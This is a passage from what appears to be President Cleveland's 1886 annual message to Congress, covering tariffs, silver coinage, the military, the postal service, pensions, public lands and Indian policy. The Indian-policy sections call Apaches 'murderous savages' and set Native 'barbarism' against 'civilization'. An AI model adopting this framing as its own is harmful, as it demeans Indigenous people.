connected with this\nkind of work number nearly one-half of our population. None labor harder or\nmore continuously than they. No enactments limit their hours of toil and no\ninterposition of the Government enhances to any great extent the value of\ntheir products. And yet for many of the necessaries and comforts of life,\nwhich the most scrupulous economy enables them to bring into their homes,\nand for their implements of husbandry, they are obliged to pay a price\nlargely increased by an unnatural profit, which by the action of the\nGovernment is given to the more favored manufacturer.I recommend that, keeping in view all these considerations, the increasing\nand unnecessary surplus of national income annually accumulating be\nreleased to the people by an amendment to our revenue laws which shall\ncheapen the price of the necessaries of life and give freer entrance to\nsuch imported materials as by American labor may be manufactured into\nmarketable commodities.Nothing can be accomplished, however, in the direction of this much-needed\nreform unless the subject is approached in a patriotic spirit of devotion\nto the interests of the entire country and with a willingness to yield\nsomething for the public good.The sum paid upon the public debt during the fiscal year ended June 30,\n1886, was $44,551,043.36.During the twelve months ended October 31,1886, 3 per cent bonds were\ncalled for redemption amounting to $127,283,100, of which $80,643,200 was\nso called to answer the requirements of the law relating to the sinking\nfund and $46,639,900 for the purpose of reducing the public debt by\napplication of a part of the surplus in the Treasury to that object. Of the\nbonds thus called $102,269,450 became subject under such calls to\nredemption prior to November 1, 1886. The remainder, amounting\nto $25,013,650, matured under the calls after that date.In addition to the amount subject to payment and cancellation prior to\nNovember 1, there were also paid before that day certain of these bonds,\nwith the interest thereon, amounting to $5,072,350, which were anticipated\nas to their maturity, of which $2,664,850 had not been called, Thus\n$107,341,800 had been actually applied prior to the 1st of November, 1886,\nto the extinguishment of our bonded and interest-bearing debt, leaving on\nthat day still outstanding the sum of $1,153,443,112. Of this amount\n$86,848,700 were still represented by 3 per cent bonds. They however, have\nbeen since November 1, or will at once be, further reduced by $22,606,150,\nbeing bonds which have been called, as already stated, but not redeemed and\ncanceled before the latter date.During the fiscal year ended June 30, 1886, there were coined, under the\ncompulsory silver-coinage act of 1878,29,838,905 silver dollars, and the\ncost of the silver used in such coinage was $23,448,960.01. There had been\ncoined up to the close of the previous fiscal year under the provisions of\nthe law 203,882,554 silver dollars, and on the 1st day of December, 1886,\nthe total amount of such coinage was $247,131,549.The Director of the Mint reports that at the time of the passage of the law\nof 1878 directing this coinage the intrinsic value of the dollars thus\ncoined was 94 1/4 cents each, and that on the 31st day of July, 1886, the\nprice of silver reached the lowest stage ever known, so that the intrinsic\nor bullion price of our standard silver dollar at that date was less than\n72 cents. The price of silver on the 30th day of November last was such as\nto make these dollars intrinsically worth 78 cents each.These differences in value of the coins represent the fluctuations in the\nprice of silver, and they certainly do not indicate that compulsory coinage\nby the Government enhances the price of that commodity or secures\nuniformity in its value.Every fair and legal effort has been made by the Treasury Department to\ndistribute this currency among the people. The withdrawal of United States\nTreasury notes of small denominations and the issuing of small silver\ncertificates have been resorted to in the endeavor to accomplish this\nresult, in obedience to the will and sentiments of the representatives of\nthe people in the Congress. On the 27th day of November, 1886, the people\nheld of these coins, or certificates representing them, the nominal sum of\n$166,873,041, and we still had $79,464,345 in the Treasury as against about\n$142,894,055 so in the hands of the people and $72,865,376 remaining in the\nTreasury one year ago. The Director of the Mint again urges the necessity\nof more vault room for the purpose of storing these silver dollars which\nare not needed for circulation by the people.I have seen no reason to change the views expressed in my last annual\nmessage on the subject of this compulsory coinage, and I again urge its\nsuspension on all the grounds contained in my former recommendation,\nreenforced by the significant increase of our gold exportations during the\nlast year, as appears by the comparative statement herewith presented, and\nfor the further reasons that the more this currency is distributed among\nthe people the greater becomes our duty to protect it from disaster, that\nwe now have abundance for all our needs, and that there seems but little\npropriety in building vaults to store such currency when the only pretense\nfor its coinage is the necessity of its use by the people as a circulating\nmedium.The great number of suits now pending in the United States courts for the\nsouthern district of New York growing out of the collection of customs\nrevenue at the port of New York and the number of such suits that are\nalmost daily instituted are certainly worthy the attention of the Congress.\nThese legal controversies, based upon conflicting views by importers and\nthe collector as to the interpretation of our present complex and\nindefinite revenue laws, might be largely obviated by an amendment of those\nlaws.But pending such amendment the present condition of this litigation should\nbe relieved. There are now pending about 2,500 of these suits. More than\n1,100 have been commenced within the past eighteen months, and many of the\nothers have been at issue for more than twenty-five years. These delays\nsubject the Government to loss of evidence and prevent the preparation\nnecessary to defeat unjust and fictitious claims, while constantly accruing\ninterest threatens to double the demands involved.In the present condition of the dockets of the courts, well filled with\nprivate suits, and of the force allowed the district attorney, no greater\nthan is necessary for the ordinary and current business of his office,\nthese revenue litigations can not be considered.In default of the adoption by the Congress of a plan for the general\nreorganization of the Federal courts, as has been heretofore recommended, I\nurge the propriety of passing a law permitting the appointment of an\nadditional Federal judge in the district where these Government suits have\naccumulated, so that by continuous sessions of the courts devoted to the\ntrial of these cases they may be determined.It is entirely plain that a great saving to the Government would be\naccomplished by such a remedy, and the suitors who have honest claims would\nnot be denied justice through delay.The report of the Secretary of War gives a detailed account of the\nadministration of his Department and contains sundry recommendations for\nthe improvement of the service, which I fully approve.The Army consisted at the date of the last consolidated return of 2,103\nofficers and 24,946 enlisted men.The expenses of the Department for the last fiscal year were\n$36,990,903.38, including $6,294,305.43 for public works and river and\nharbor improvements.I especially direct the attention of the Congress to the recommendation\nthat officers be required to submit to an examination as a preliminary to\ntheir promotion. I see no objection, but many advantages, in adopting this\nfeature, which has operated so beneficially in our Navy Department, as well\nas in some branches of the Army.The subject of coast defenses and fortifications has been fully and\ncarefully treated by the Board on Fortifications, whose report was\nsubmitted at the last session of Congress; but no construction work of the\nkind recommended by the board has been possible during the last year from\nthe lack of appropriations for such purpose.The defenseless condition of our seacoast and lake frontier is perfectly\npalpable. The examinations made must convince us all that certain of our\ncities named in the report of the board should be fortified and that work\non the most important of these fortifications should be commenced at once.\nThe work has been thoroughly considered and laid out, the Secretary of War\nreports, but all is delayed in default of Congressional action.The absolute necessity, judged by all standards of prudence and foresight,\nof our preparation for an effectual resistance against the armored ships\nand steel guns and mortars of modern construction which may threaten the\ncities on our coasts is so apparent that I hope effective steps will be\ntaken in that direction immediately.The valuable and suggestive treatment of this question by the Secretary of\nWar is earnestly commended to the consideration of the Congress.In September and October last the hostile Apaches who, under the leadership\nof Geronimo, had for eighteen months been on the war path, and during that\ntime had committed many murders and been the cause of constant terror to\nthe settlers of Arizona, surrendered to General Miles, the military\ncommander who succeeded General Crook in the management and direction of\ntheir pursuit.Under the terms of their surrender as then reported, and in view of the\nunderstanding which these murderous savages seemed to entertain of the\nassurances given them, it was considered best to imprison them in such\nmanner as to prevent their ever engaging in such outrages again, instead of\ntrying them for murder. Fort Pickens having been selected as a safe place\nof confinement, all the adult males were sent thither and will be closely\nguarded as prisoners. In the meantime the residue of the band, who, though\nstill remaining upon the reservation, were regarded as unsafe and suspected\nof furnishing aid to those on the war path, had been removed to Fort\nMarion. The women and larger children of the hostiles were also taken\nthere, and arrangements have been made for putting the children of proper\nage in Indian schools.The report of the Secretary of the Navy contains a detailed exhibit of the\ncondition of his Department, with such a statement of the action needed to\nimprove the same as should challenge the earnest attention of the\nCongress.The present Navy of the United States, aside from the ships in course of\nconstruction, consists of--First. Fourteen single-turreted monitors, none of which are in commission\nnor at the present time serviceable. The batteries of these ships are\nobsolete, and they can only be relied upon as auxiliary ships in harbor\ndefense, and then after such an expenditure upon them as might not be\ndeemed justifiable.Second. Five fourth-rate vessels of small tonnage, only one of which was\ndesigned as a war vessel, and all of which are auxiliary merely.Third. Twenty-seven cruising ships, three of which are built of iron, of\nsmall tonnage, and twenty-four of wood. Of these wooden vessels it is\nestimated by the Chief Constructor of the Navy that only three will be\nserviceable beyond a period of six years, at which time it may be said that\nof the present naval force nothing worthy the name will remain.All the vessels heretofore authorized are under contract or in course of\nconstruction except the armored ships, the torpedo and dynamite boats, and\none cruiser. As to the last of these, the bids were in excess of the limit\nfixed by Congress. The production in the United States of armor and gun\nsteel is a question which it seems necessary to settle at an early day if\nthe armored war vessels are to be completed with those materials of home\nmanufacture. This has been the subject of investigation by two boards and\nby two special committees of Congress within the last three years. The\nreport of the Gun Foundry Board in 1884, of the Board on Fortifications\nmade in January last, and the reports of the select committees of the two\nHouses made at the last session of Congress have entirely exhausted the\nsubject, so far as preliminary investigation is involved, and in their\nrecommendations they are substantially agreed.In the event that the present invitation of the Department for bids to\nfurnish such of this material as is now authorized shall fail to induce\ndomestic manufacturers to undertake the large expenditures required to\nprepare for this new manufacture, and no other steps are taken by Congress\nat its coming session, the Secretary contemplates with dissatisfaction the\nnecessity of obtaining abroad the armor and the gun steel for the\nauthorized ships. It would seem desirable that the wants of the Army and\nthe Navy in this regard should be reasonably met, and that by uniting their\ncontracts such inducement might be offered as would result in securing the\ndomestication of these important interests.The affairs of the postal service show marked and gratifying improvement\nduring the past year. A particular account of its transactions and\ncondition is given in the report of the Postmaster-General, which will be\nlaid before you.The reduction of the rate of letter postage in 1883, rendering the postal\nrevenues inadequate to sustain the expenditures, and business depression\nalso contributing, resulted in an excess of cost for the fiscal year ended\nJune 30, 1885, of eight and one-third millions of dollars. An additional\ncheck upon receipts by doubling the measure of weight in rating sealed\ncorrespondence and diminishing one-half the charge for newspaper carriage\nwas imposed by legislation which took effect with the beginning of the past\nfiscal year, while the constant demand of our territorial development and\ngrowing population for the extension and increase of mail facilities and\nmachinery necessitates steady annual advance in outlay, and the careful\nestimate of a year ago upon the rates of expenditure then existing\ncontemplated the unavoidable augmentation of the deficiency in the last\nfiscal year by nearly $2,000,000. The anticipated revenue for the last year\nfailed of realization by about $64,000, but proper measures of economy have\nso satisfactorily limited the growth of expenditure that the total\ndeficiency in fact fell below that of 1885, and at this time the increase\nof revenue is in a gaining ratio over the increase of cost, demonstrating\nthe sufficiency of the present rates of postage ultimately to sustain the\nservice. This is the more pleasing because our people enjoy now both\ncheaper postage proportionably to distances and a vaster and more costly\nservice than any other upon the globe.Retrenchment has been effected in the cost of supplies, some expenditures\nunwarranted by law have ceased, and the outlays for mail carriage have been\nsubjected to beneficial scrutiny. At the close of the last fiscal year the\nexpense of transportation on star routes stood at an annual rate of cost\nless by over $560,000 than at the close of the previous year and steamboat\nand mail-messenger service at nearly $200,000 less.The service has been in the meantime enlarged and extended by the\nestablishment of new offices, increase of routes of carriage, expansion of\ncarrier-delivery conveniences, and additions to the railway mail\nfacilities, in accordance with the growing exigencies of the country and\nthe long-established policy of the Government.The Postmaster-General calls attention to the existing law for compensating\nrailroads and expresses the opinion that a method may be devised which will\nprove more just to the carriers and beneficial to the Government; and the\nsubject appears worthy of your early consideration.The differences which arose during the year with certain of the ocean\nsteamship companies have terminated by the acquiescence of all in the\npolicy of the Government approved by the Congress in the postal\nappropriation at its last session, and the Department now enjoys the utmost\nservice afforded by all vessels which sail from our ports upon either\nocean--a service generally adequate to the needs of our intercourse.\nPetitions have, however, been presented to the Department by numerous\nmerchants and manufacturers for the establishment of a direct service to\nthe Argentine Republic and for semimonthly dispatches to the Empire of\nBrazil, and the subject is commended to your consideration. It is an\nobvious duty to provide the means of postal communication which our\ncommerce requires, and with prudent forecast of results the wise extension\nof it may lead to stimulating intercourse and become the harbinger of a\nprofitable traffic which will open new avenues for the disposition of the\nproducts of our industry. The circumstances of the countries at the far\nsouth of our continent are such as to invite our enterprise and afford the\npromise of sufficient advantages to justify an unusual effort to bring\nabout the closer relations which greater freedom of communication would\ntend to establish.I suggest that, as distinguished from a grant or subsidy for the mere\nbenefit of any line of trade or travel, whatever outlay may be required to\nsecure additional postal service, necessary and proper and not otherwise\nattainable, should be regarded as within the limit of legitimate\ncompensation for such service.The extension of the free-delivery service as suggested by the\nPostmaster-General has heretofore received my sanction, and it is to be\nhoped a suitable enactment may soon be agreed upon.The request for an appropriation sufficient to enable the general\ninspection of fourth-class offices has my approbation.I renew my approval of the recommendation of the Postmaster-General that\nanother assistant be provided for the Post-Office Department, and I invite\nyour attention to the several other recommendations in his report.The conduct of the Department of Justice for the last fiscal year is fully\ndetailed in the report of the Attorney-General, and I invite the earnest\nattention of the Congress to the same and due consideration of the\nrecommendations therein contained.In the report submitted by this officer to the last session of the Congress\nhe strongly recommended the erection of a penitentiary for the confinement\nof prisoners convicted and sentenced in the United States courts, and he\nrepeats the recommendation in his report for the last year.This is a matter of very great importance and should at once receive\nCongressional action. United States prisoners are now confined in more than\nthirty different State prisons and penitentiaries scattered in every part\nof the country. They are subjected to nearly as many different modes of\ntreatment and discipline and are far too much removed from the control and\nregulation of the Government. So far as they are entitled to humane\ntreatment and an opportunity for improvement and reformation, the\nGovernment is responsible to them and society that these things are\nforthcoming. But this duty can scarcely be discharged without more absolute\ncontrol and direction than is possible under the present system.Many of our good citizens have interested themselves, with the most\nbeneficial results, in the question of prison reform. The General\nGovernment should be in a situation, since there must be United States\nprisoners, to furnish important aid in this movement, and should be able to\nillustrate what may be practically done in the direction of this reform and\nto present an example in the treatment and improvement of its prisoners\nworthy of imitation.With prisons under its own control the Government could deal with the\nsomewhat vexed question of convict labor, so far as its convicts were\nconcerned, according to a plan of its own adoption, and with due regard to\nthe rights and interests of our laboring citizens, instead of sometimes\naiding in the operation of a system which causes among them irritation and\ndiscontent.Upon consideration of this subject it might be thought wise to erect more\nthan one of these institutions, located in such places as would best\nsubserve the purposes of convenience and economy in transportation. The\nconsiderable cost of maintaining these convicts as at present, in State\ninstitutions, would be saved by the adoption of the plan proposed, and by\nemploying them in the manufacture of such articles as were needed for use\nby the Government quite a large pecuniary benefit would be realized in\npartial return for our outlay.I again urge a change in the Federal judicial system to meet the wants of\nthe people and obviate the delays necessarily attending the present\ncondition of affairs in our courts. All are agreed that something should be\ndone, and much favor is shown by those well able to advise to the plan\nsuggested by the Attorney-General at the last session of the Congress and\nrecommended in my last annual message. This recommendation is here renewed,\ntogether with another made at the same time, touching a change in the\nmanner of compensating district attorneys and marshals; and the latter\nsubject is commended to the Congress for its action in the interest of\neconomy to the Government, and humanity, fairness, and justice to our\npeople.The report of the Secretary of the Interior presents a comprehensive\nsummary of the work of the various branches of the public service connected\nwith his Department, and the suggestions and recommendations which it\ncontains for the improvement of the service should receive your careful\nconsideration.The exhibit made of the condition of our Indian population and the progress\nof the work for their enlightenment, notwithstanding the many\nembarrassments which hinder the better administration of this important\nbranch of the service, is a gratifying and hopeful one.The funds appropriated for the Indian service for the fiscal year just\npassed, with the available income from Indian land and trust moneys,\namounting in all to $7,850,775.12, were ample for the service under the\nconditions and restrictions of laws regulating their expenditure. There\nremained a balance on hand on June 30, 1886, of $1,660,023.30, of which $\n1,337,768.21 are permanent funds for fulfillment of treaties and other like\npurposes, and the remainder, $322,255.09, is subject to be carried to the\nsurplus fund as required by law.The estimates presented for appropriations for the ensuing fiscal year\namount to $5,608,873.64, or $442,386.20 less than those laid before the\nCongress last year.The present system of agencies, while absolutely necessary and well adapted\nfor the management of our Indian affairs and for the ends in view when it\nwas adopted, is in the present stage of Indian management inadequate,\nstanding alone, for the accomplishment of an object which has become\npressing in its importance--the more rapid transition from tribal\norganizations to citizenship of such portions of the Indians as are capable\nof civilized life.When the existing system was adopted, the Indian race was outside of the\nlimits of organized States and Territories and beyond the immediate reach\nand operation of civilization, and all efforts were mainly directed to the\nmaintenance of friendly relations and the preservation of peace and quiet\non the frontier. All this is now changed. There is no such thing as the\nIndian frontier. Civilization, with the busy hum of industry and the\ninfluences of Christianity, surrounds these people at every point. None of\nthe tribes are outside of the bounds of organized government and society,\nexcept that the Territorial system has not been extended over that portion\nof the country known as the Indian Territory. As a race the Indians are no\nlonger hostile, but may be considered as submissive to the control of the\nGovernment. Few of them only are troublesome. Except the fragments of\nseveral bands, all are now gathered upon reservations.It is no longer possible for them to subsist by the chase and the\nspontaneous productions of the earth.With an abundance of land, if furnished with the means and implements for\nprofitable husbandry, their life of entire dependence upon Government\nrations from day to day is no longer defensible. Their inclination, long\nfostered by a defective system of control, is to cling to the habits and\ncustoms of their ancestors and struggle with persistence against the change\nof life which their altered circumstances press upon them. But barbarism\nand civilization can not live together. It is impossible that such\nincongruous conditions should coexist on the same soil.They are a portion of our people, are under the authority of our\nGovernment, and have a peculiar claim upon and are entitled to the\nfostering care and protection of the nation. The Government can not relieve\nitself of this responsibility until they are so far trained and civilized\nas to be able wholly to manage and care for themselves. The paths in which\nthey should walk must be clearly marked out for them, and they must be led\nor guided until they are familiar with the way and competent to assume the\nduties and responsibilities of our citizenship.Progress in this great work will continue only at the present slow pace and\nat great expense unless the system and methods of management are improved\nto meet the changed conditions and urgent demands of the service.The agents, having general charge and supervision in many cases of more\nthan 5,000 Indians, scattered over large reservations, and burdened with\nthe details of accountability for funds and supplies, have time to look\nafter the industrial training and improvement of a few Indians only. The\nmany are neglected and remain idle and dependent, conditions not favorable\nfor progress and civilization.The compensation allowed these agents and the conditions of the service are\nnot calculated to secure for the work men who are fitted by ability and\nskill to properly plan and intelligently direct the methods best adapted to\nproduce the most speedy results and permanent benefits.Hence the necessity for a supplemental agency or system directed to the end\nof promoting the general and more rapid transition of the tribes from\nhabits and customs of barbarism to the ways of civilization.With an anxious desire to devise some plan of operation by which to secure\nthe welfare of the Indians and to relieve the Treasury as far as possible\nfrom the support of an idle and dependent population, I recommended in my\nprevious annual message the passage of a law authorizing the appointment of\na commission as an instrumentality auxiliary to those already established\nfor the care of the Indians. It was designed that this commission should be\ncomposed of six intelligent and capable persons--three to be detailed from\nthe Army--having practical ideas upon the subject of the treatment of\nIndians and interested in their welfare, and that it should be charged,\nunder the direction of the Secretary of the Interior, with the management\nof such matters of detail as can not with the present organization be\nproperly and successfully conducted, and which present different phases, as\nthe Indians themselves differ in their progress, needs, disposition, and\ncapacity for improvement or immediate self-support.By the aid of such a commission much unwise and useless expenditure of\nmoney, waste of materials, and unavailing efforts might be avoided; and it\nis hoped that this or some measure which the wisdom of Congress may better\ndevise to supply the deficiency of the present system may receive your\nconsideration and the appropriate legislation be provided.The time is ripe for the work of such an agency.There is less opposition to the education and training of the Indian youth,\nas shown by the increased attendance upon the schools, and there is a\nyielding tendency for the individual holding of lands. Development and\nadvancement in these directions are essential, and should have every\nencouragement. As the rising generation are taught the language of\ncivilization and trained in habits of industry they should assume the\nduties, privileges, and responsibilities of citizenship.No obstacle should hinder the location and settlement of any Indian willing\nto take land in severalty; on the contrary, the inclination to do so should\nbe stimulated at all times when proper and expedient. But there is no\nauthority of law for making allotments on some of the reservations, and on\nothers the allotments provided for are so small that the Indians, though\nready and desiring to settle down, are not willing to accept such small\nareas when their reservations contain ample lands to afford them homesteads\nof sufficient size to meet their present and future needs.These inequalities of existing special laws and treaties should be\ncorrected and some general legislation on the subject should be provided,\nso that the more progressive members of the different tribes may be settled\nupon homesteads, and by their example lead others to follow, breaking away\nfrom tribal customs and substituting therefor the love of home, the\ninterest of the family, and the rule of the state.The Indian character and nature are such that they are not easily led while\nbrooding over unadjusted wrongs. This is especially so regarding their\nlands. Matters arising from the construction and operation of railroads\nacross some of the reservations, and claims of title and right of occupancy\nset up by white persons to some of the best land within other reservations\nrequire legislation for their final adjustment.The settlement of these matters will remove many embarrassments to progress\nin the work of leading the Indians to the adoption of our institutions and\nbringing them under the operation, the influence, and the protection of the\nuniversal laws of our country.The recommendations of the Secretary of the Interior and the Commissioner\nof the General Land Office looking to the better protection of public lands\nand of the public surveys, the preservation of national forests, the\nadjudication of grants to States and corporations and of private land\nclaims, and the increased efficiency of the public-land service are\ncommended to the attention of Congress. To secure the widest distribution\nof public lands in limited quantities among settlers for residence and\ncultivation, and thus make the greatest number of individual homes, was the\nprimary object of the public-land legislation in the early days of the\nRepublic. This system was a simple one. It commenced with an admirable\nscheme of public surveys, by which the humblest citizen could identify the\ntract upon which he wished to establish his home. The price of lands was\nplaced within the reach of all the enterprising, industrious, and honest\npioneer citizens of the country. It was soon, however, found that the\nobject of the laws was perverted, under the system of cash sales, from a\ndistribution of land among the people to an accumulation of land capital by\nwealthy and speculative persons. To check this tendency a preference right\nof purchase was given to settlers on the land, a plan which culminated in\nthe general preemption act of 1841. The foundation of this system was\nactual residence and cultivation. Twenty years later the homestead law was\ndevised to more surely place actual homes in the possession of actual\ncultivators of the soil. The land was given without price, the sole\nconditions being residence, improvement, and cultivation. Other laws have\nfollowed, each designed to encourage the acquirement and use of land in\nlimited individual quantities. But in later years these laws, through\nvicious administrative methods and under changed conditions of\ncommunication and transportation, have been so evaded and violated that\ntheir beneficent purpose is threatened with entire defeat. The methods of\nsuch evasions and violations are set forth in detail in the reports of the\nSecretary of the Interior and Commissioner of the General Land Office. The\nrapid appropriation of our public lands without bona fide settlements or\ncultivation, and not only without intention of residence, but for the\npurpose of their aggregation in large holdings, in many cases in the hands\nof foreigners, invites the serious and immediate attention of the\nCongress.The energies of the Land Department have been devoted during the present\nAdministration to remedy defects and correct abuses in the public-land\nservice. The results of these efforts are so largely in the nature of\nreforms in the processes and methods of our land system as to prevent\nadequate estimate; but it appears by a compilation from the reports of the\nCommissioner of the General Land Office that the immediate effect in\nleading cases which have come to a final termination has been the\nrestoration to the mass of public lands of 2,750,000 acres; that 2,370,000\nacres are embraced in investigations now pending before the Department or\nthe courts, and that the action of Congress has been asked to effect the\nrestoration of 2,790,000 acres additional; besides which 4,000,000 acres\nhave been withheld from reservation and the rights of entry thereon\nmaintained.I recommend the repeal of the preemption and timber-culture acts, and that\nthe homestead laws be so amended as to better secure compliance with their\nrequirements of residence, improvement, and cultivation for the period of\nfive years from date of entry, without commutation or provision for\nspeculative relinquishment. I also recommend the repeal of the desert-land\nlaws unless it shall be the pleasure of the Congress to so amend these laws\nas to render them less liable to abuses. As the chief motive for an evasion\nof the laws and the principal cause of their result in land accumulation\ninstead of land distribution is the facility with which transfers are made\nof the right intended to be secured to settlers, it may be deemed advisable\nto provide by legislation some guards and checks upon the alienation of\nhomestead rights and lands covered thereby until patents issue.Last year an Executive proclamation was issued directing the removal of\nfences which inclosed the public domain. Many of these have been removed in\nobedience to such order, but much of the public land still remains within\nthe lines of these unlawful fences. The ingenious methods resorted to in\norder to continue these trespasses and the hardihood of the pretenses by\nwhich in some cases such inclosures are justified are fully detailed in the\nreport of the Secretary of the Interior.The removal of the fences still remaining which inclose public lands will\nbe enforced with all the authority and means with which the executive\nbranch of the Government is or shall be invested by the Congress for that\npurpose.The report of the Commissioner of Pensions contains a detailed and most\nsatisfactory exhibit of the operations of the Pension Bureau during the\nlast fiscal year. The amount of work done was the largest in any year since\nthe organization of the Bureau, and it has been done at less cost than\nduring the previous year in every division.On the 30th day of June, 1886, there were 365,783 pensioners on the rolls\nof the Bureau.Since 1861 there have been 1,018,735 applications for pensions filed, of\nwhich 78,834 were based upon service in the War of 1812. There were 621,754\nof these applications allowed, including 60,178 to the soldiers of 1812 and\ntheir widows.The total amount paid for pensions since 1861 is $808,624,811.57.The number of new pensions allowed during the year ended June 30, 1886, is\n40,857, a larger number than has been allowed in any year save one since\n1861. The names of 2,229 pensioners which had been previously dropped from\nthe rolls were restored during the year, and after deducting those dropped\nwithin the same time for various causes a net increase remains for the year\nof 20,658 names.From January 1, 1861, to December 1, 1885, 1,967 private pension acts had\nbeen passed. Since the last-mentioned date, and during the last session of\nthe Congress, 644 such acts became laws.It seems to me that no one can examine our pension establishment and its\noperations without being convinced that through its instrumentality justice\ncan be very nearly done to all who are entitled under present laws to the\npension bounty of the Government.But it is undeniable that cases exist, well entitled to relief, in which\nthe Pension Bureau is powerless to aid. The really worthy cases of this\nclass are such as only lack by misfortune the kind or quantity of proof\nwhich the law and regulations of the Bureau require, or which, though their\nmerit is apparent, for some other reason can not be justly dealt with\nthrough general laws. These conditions fully justify application to the\nCongress and special enactments. But resort to the Congress for a special\npension act to overrule the deliberate and careful determination of the\nPension Bureau on the merits or to secure favorable action when it could\nnot be expected under the most liberal execution of general laws, it must\nbe admitted opens the door to the allowance of questionable claims and\npresents to the legislative and executive branches of the Government\napplications concededly not within the law and plainly devoid of merit, but\nso surrounded by sentiment and patriotic feeling that they are hard to\nresist. I suppose it will not be denied that many claims for pension are\nmade without merit and that many have been allowed upon fraudulent\nrepresentations. This has been declared from the Pension Bureau, not only\nin this but in prior Administrations.The usefulness and the justice of any system for the distribution of\npensions depend upon the equality and uniformity of its operation.It will be seen from the report of the Commissioner that there are now paid\nby the Government 131 different rates of pension.He estimates from the best information he can obtain that 9,000 of those\nwho have served in the Army and Navy of the United States are now\nsupported, in whole or in part, from public funds or by organized\ncharities, exclusive of those in soldiers' homes under the direction and\ncontrol of the Government. Only 13 per cent of these are pensioners, while\nof the entire number of men furnished for the late war something like 20\nper cent, including their widows and relatives, have been or now are in\nreceipt of pensions.The American people, with a patriotic and grateful regard for our\nex-soldiers, too broad and too sacred to be monopolized by any special\nadvocates, are not only willing but anxious that equal and exact justice\nshould be done to all honest claimants for pensions. In their sight the\nfriendless and destitute soldier, dependent on public charity, if otherwise\nentitled, has precisely the same right to share in the provision made for\nthose who fought their country's battles as those better able, through\nfriends and influence, to push their claims. Every pension that is granted\nunder our present plan upon any other grounds than actual service and\ninjury or disease incurred in such service, and every instance of the many\nin which pensions are increased on other grounds than the merits of the\nclaim, work an injustice to the brave and crippled, but poor and\nfriendless, soldier, who is entirely neglected or who must be content with\nthe smallest sum allowed under general laws.There are far too many neighborhoods in which are found glaring cases of\ninequality of treatment in the matter of pensions, and they are largely due\nto a yielding in the Pension Bureau to importunity on the part of those,\nother than the pensioner, who are especially interested, or they arise from\nspecial acts passed for the benefit of individuals.The men who fought side by side should stand side by side when they\nparticipate in a grateful nation's kind remembrance.Every consideration of fairness and justice to our ex-soldiers and the\nprotection of the patriotic instinct of our citizens from perversion and\nviolation point to the adoption of a pension system broad and comprehensive\nenough to cover every contingency, and which shall make unnecessary an\nobjectionable volume of special legislation.As long as we adhere to the principle of granting pensions for service, and\ndisability as the result of the service, the allowance of pensions should\nbe restricted to cases presenting these features.Every patriotic heart responds to a tender consideration for those who,\nhaving served their country long and well, are reduced to destitution and\ndependence, not as an incident of their service, but with advancing age or\nthrough sickness or misfortune. We are all tempted by the contemplation of\nsuch a condition to supply relief, and are often impatient of the\nlimitations of public duty. Yielding to no one in the desire to indulge\nthis feeling of consideration, I can not rid myself of the conviction that\nif these ex-soldiers are to be relieved they and their cause are entitled\nto the benefit of an enactment under which relief may be claimed as a\nright, and that such relief should be granted under the sanction of law,\nnot in evasion of it; nor should such worthy objects of care, all equally\nentitled, be remitted to the unequal operation of sympathy or the tender\nmercies of social and political influence, with their unjust\ndiscriminations.The discharged soldiers and sailors of the country are our fellow-citizens,\nand interested with us in the passage and faithful execution of wholesome\nlaws. They can not be swerved from their duty of citizenship by artful\nappeals to their spirit of brotherhood born of common peril and suffering,\nnor will they exact as a test of devotion to their welfare a willingness to\nneglect public duty in their behalf.On the 4th of March, 1885, the current business of the Patent Office was,\non an average, five and a half months in arrears, and in several divisions\nmore than twelve months behind. At the close of the last fiscal year such\ncurrent work was but three months in arrears, and it is asserted and\nbelieved that in the next few months the delay in obtaining an examination\nof an application for a patent will be but nominal.The number of applications for patents during the last fiscal year,\nincluding reissues, designs, trade-marks, and labels, equals 40,678, which\nis considerably in excess of the number received during any preceding\nyear.The receipts of the Patent Office during the year aggregate $1,205,167.80,\nenabling the office to turn into the Treasury a surplus revenue, over and\nabove all expenditures, of about $163,710.30.The number of patents granted during the last fiscal year, including\nreissues, trade-marks, designs, and labels, was 25,619, a number also quite\nlargely in excess of that of any preceding year.The report of the Commissioner shows the office to be in a prosperous\ncondition and constantly increasing in its business. No increase of force\nis asked for.The amount estimated for the fiscal year ending June 30, 1886, was\n$890,760. The amount estimated for the year ending June 30, 1887, was\n$853,960. The amount estimated for the fiscal year ending June 30, 1888, is\n$778,770.The Secretary of the Interior suggests a change in the plan for the payment\nof the indebtedness of the Pacific subsidized roads to the Government. His\nsuggestion has the unanimous indorsement of the persons selected by the\nGovernment to act as directors of these roads and protect the interests of\nthe United States in the board of direction. In considering the plan\nproposed the sole matters which should be taken into account, in my\nopinion, are the situation of the Government as a creditor and the surest\nway to secure the payment of the principal and interest of its debt.By a recent decision of the Supreme Court of the United States it has been\nadjudged that the laws of the several States are inoperative to regulate\nrates of transportation upon railroads if such regulation interferes with\nthe rate of carriage from one State into another. This important field of\ncontrol and regulation having been thus left entirely unoccupied, the\nexpediency of Federal action upon the subject is worthy of consideration.The relations of labor to capital and of laboring men to their employers\nare of the utmost concern to every patriotic citizen. When these are\nstrained and distorted, unjustifiable claims are apt to be insisted upon by\nboth interests, and in the controversy which results the welfare of all and\nthe prosperity of the country are jeopardized. Any intervention of the\nGeneral Government, within the limits of its constitutional authority, to\navert such a condition should be willingly accorded.In a special message transmitted to the Congress at its last session I\nsuggested the enlargement of our present Labor Bureau and adding to its\npresent functions the power of arbitration in cases where differences arise\nbetween employer and employed. When these differences reach such a stage as\nto result in the interruption of commerce between the States, the\napplication of this remedy by the General Government might be regarded as\nentirely within its constitutional powers. And I think we might reasonably\nhope that such arbitrators, if carefully selected and if entitled to the\nconfidence of the parties to be affected, would be voluntarily called to\nthe settlement of controversies of less extent and not necessarily within\nthe domain of Federal regulation.I am of the opinion that this suggestion is worthy the attention of the\nCongress.But after all has been done by the passage of laws, either Federal or\nState, to relieve a situation full of solicitude, much more remains to be\naccomplished by the reinstatement and cultivation of a true American\nsentiment which recognizes the equality of American citizenship. This, in\nthe light of our traditions and in loyalty to the spirit of our\ninstitutions, would teach that a hearty cooperation on the part of all\ninterests is the surest path to national greatness and the happiness of all\nour people; that capital should, in recognition of the brotherhood of our\ncitizenship and in a spirit of American fairness, generously accord to\nlabor its just compensation and consideration, and that contented labor is\ncapital's best protection and faithful ally. It would teach, too, that the\ndiverse situations of our people are inseparable from our civilization;\nthat every citizen should in his sphere be a contributor to the general\ngood; that capital does not necessarily tend to the oppression of labor,\nand that violent disturbances and disorders alienate from their promoters\ntrue American sympathy and kindly feeling.The Department of Agriculture, representing the oldest and largest of our\nnational industries, is subserving well the purposes of its organization.\nBy the introduction of new subjects of farming enterprise and by opening\nnew sources 